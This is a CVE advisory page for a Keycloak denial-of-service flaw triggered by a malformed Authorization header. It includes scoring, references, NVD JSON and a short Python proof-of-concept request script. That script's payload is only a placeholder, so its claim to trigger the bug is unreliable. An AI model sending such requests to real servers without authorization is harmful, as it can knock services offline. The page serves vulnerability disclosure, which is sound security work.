CVE-2026-9803

Description

A flaw was found in Keycloak's ClientRegistrationAuth component. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted POST request with a malformed 'Authorization: Bearer' header to any client registration endpoint. This can lead to an ArrayIndexOutOfBoundsException, causing the server to return an HTTP 500 error and resulting in a Denial of Service (DoS) for the affected service.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Keycloak (具体受影响版本请参考官方安全通告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-9803
# This script sends a malformed Authorization header to trigger the DoS
import requests

target_url = "http://target-keycloak-server/realms/master/clients-registrations/default"
headers = {
    # Sending a malformed Bearer token to trigger ArrayIndexOutOfBoundsException
    "Authorization": "Bearer <malformed_payload_triggering_index_out_of_bounds>"
}

try:
    response = requests.post(target_url, headers=headers)
    if response.status_code == 500:
        print("[+] Vulnerability triggered successfully: HTTP 500 Internal Server Error")
    else:
        print(f"[-] Expected HTTP 500, got: {response.status_code}")
except Exception as e:
    print(f"[!] Request failed: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9803
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9803
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9803/
[4] VulDB https://vuldb.com/cve/CVE-2026-9803
[5] https://access.redhat.com/security/cve/CVE-2026-9803
[6] https://bugzilla.redhat.com/show_bug.cgi?id=2482465

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9803", "sourceIdentifier": "[email protected]", "published": "2026-05-28T06:16:29.750", "lastModified": "2026-05-28T06:16:29.750", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak's ClientRegistrationAuth component. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted POST request with a malformed 'Authorization: Bearer' header to any client registration endpoint. This can lead to an ArrayIndexOutOfBoundsException, causing the server to return an HTTP 500 error and resulting in a Denial of Service (DoS) for the affected service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9803", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482465", "source": "[email protected]"}]}}